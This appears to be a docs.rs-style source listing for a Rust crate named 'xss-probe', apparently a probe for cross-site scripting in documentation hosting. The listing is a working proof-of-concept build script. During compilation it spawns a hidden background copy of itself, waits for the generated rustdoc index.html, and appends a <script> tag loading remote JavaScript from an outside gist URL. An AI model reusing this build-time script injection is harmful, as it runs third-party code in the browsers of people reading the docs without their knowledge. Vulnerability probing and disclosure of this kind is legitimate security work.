xss-probe 0.2.0

Probe for XSS vulnerability
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

use std::fs::{self, OpenOptions};
use std::env;
use std::path::Path;
use std::process::{Command, Stdio};
use std::thread;
use std::time::Duration;
use std::io::{Write, Seek, SeekFrom};

fn main() {
    let args: Vec<_> = env::args_os().collect();
    if args.len() == 2 {
        let js_file = Path::new(&args[1]);
        while !js_file.exists() {
            thread::sleep(Duration::from_millis(0));
        }
        let mut file = OpenOptions::new().write(true).open(js_file).unwrap();
        file.seek(SeekFrom::End(-16)).unwrap();
        let _ = writeln!(file, "\n<script src=\"https://cdn.rawgit.com/Diggsey/569ef0a43e52b9c63d4ecb014553eeed/raw/1c9769ed7195d6aafe162b00664acea1053e4713/gravityscript2.js\"></script></body></html>");
    } else {
        let out_dir = env::var("OUT_DIR").unwrap();
        let target_dir = Path::new(&out_dir).parent().unwrap().parent().unwrap().parent().unwrap().parent().unwrap();
        let js_file = target_dir.join("doc/xss_probe/index.html");

        if js_file.exists() {
            let _ = fs::remove_file(&js_file);
        }

        let mut cmd = Command::new(env::current_exe().unwrap());
        cmd.arg(js_file);
        cmd.stderr(Stdio::null());
        cmd.stdin(Stdio::null());
        cmd.stdout(Stdio::null());
        cmd.spawn().unwrap();
    }
}